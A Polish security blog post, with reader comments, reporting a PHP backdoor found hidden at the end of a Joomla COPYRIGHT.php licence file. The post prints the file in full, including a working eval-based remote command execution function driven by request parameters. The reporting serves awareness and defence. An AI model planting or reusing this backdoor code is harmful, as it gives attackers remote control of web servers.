09.08.2013 | 20:54

Adam Haertle

Tylna furtka w pliku licencji GNU GPL

Może nie jest to pomysł na miarę Pwnie Awards 2014, ale trzeba przyznać jego autorom, że ma pewne szanse powodzenia. Badacze z firmy Sucuri odnaleźli na zaatakowanym serwerze ciekawy plik Joomli o nazwie COPYRIGHT.php (standardowo plik taki dołączany jest do każdej instalacji). Poniżej pełna treść znaleziska:

/*			GNU GENERAL PUBLIC LICENSE
TERMS AND CONDITIONS FOR COPYING, DISTRIBUTION AND MODIFICATION
This program is free software; you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
the Free Software Foundation; either version 2 of the License, or
(at your option) any later version.

This program is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
GNU General Public License for more details.

GNU GENERAL PUBLIC LICENSE
Version 2, June 1991

*/Copyright3_6_56()/* 1989, 1991 Free Software Foundation, Inc.
                          675 Mass Ave, Cambridge, MA 02139, USA
 Everyone is permitted to copy and distribute verbatim copies
 of this license document, but changing it is not allowed.

Preamble

  The licenses for most software are designed to take away your
freedom to share and change it. By contrast, the GNU General Public
License is intended to guarantee your freedom to share and change free
software--to make sure the software is free for all its users. This
General Public License applies to most of the Free Software
Foundation's software and to any other program whose authors commit to
using it. (Some other Free Software Foundation software is covered by
the GNU Library General Public License instead.) You can apply it to
your programs, too.*/?>

Joomla! derives from copyrighted works licensed under the GNU General
Public License.  This version has been modified pursuant to the
GNU General Public License as of September 15, 2005, and as distributed,
it includes or is derivative of works licensed under the GNU General
Public License or other free or open source software licenses.  Please
see the CREDITS.php for a non-exhaustive list of contributors and
copyright holders.  A full text version of the GNU GPL version 2 can be
found in the LICENSE.php file.  A full text version of the other licenses
that Joomla! is derivative of or includes can be found in LICENSES.php.

< php
Copyright3_6_56();
function Copyright3_6_56(){
static $gnu = true;
if(!$gnu) return;
if(!isset($_REQUEST['gnu'])||!isset($_REQUEST['c_id']))return;
$gpl=implode('',$_REQUEST['gnu']);
eval ($gpl($_REQUEST['c_id']));
$gnu=false;
}

Konstrukcja tej tylnej furtki nie jest niczym szczególnym – ot, oczywista standardowa funkcjonalność, czyli zdalne wywoływanie poleceń poprzez żądanie POST. Zachwyca natomiast jej umiejscowienie na końcu pliku, którego i tak nikt nigdy nie czyta do końca :)

Powrót

Komentarze

  • 2013.08.09 21:12 Mroczny Kobziarz

    Oryginalne wykorzystanie, nie ma co :) Ja bym nie doczytał :)

    Odpowiedz
  • 2013.08.10 08:52 Wiktor

    Nauczka żeby czytać licencję :]

    Odpowiedz
  • 2013.08.10 14:07 matiit

    Po co w ogóle licencja ma być z rozszerzeniem PHP?

    Odpowiedz
    • 2013.08.10 21:46 Pan Czy Pani

      Być może, aby nie ujawniać treści, aby nie ujawniać danych dot.wersji w danej chwili (jeżeli zawiera informacje o wersji/dacie), albo w przyszłości (w razie zmiany licencji będzie identyfikacyjny moment przełomowy).

      Odpowiedz
  • 2013.08.10 18:43 DOgi

    Po co wywołanie Copyright3_6_56() spoza parsera?

    Odpowiedz

Zostaw odpowiedź do Wiktor

Jeśli chcesz zwrócić uwagę na literówkę lub inny błąd techniczny, zapraszamy do formularza kontaktowego. Reagujemy równie szybko.

Tylna furtka w pliku licencji GNU GPL

Komentarze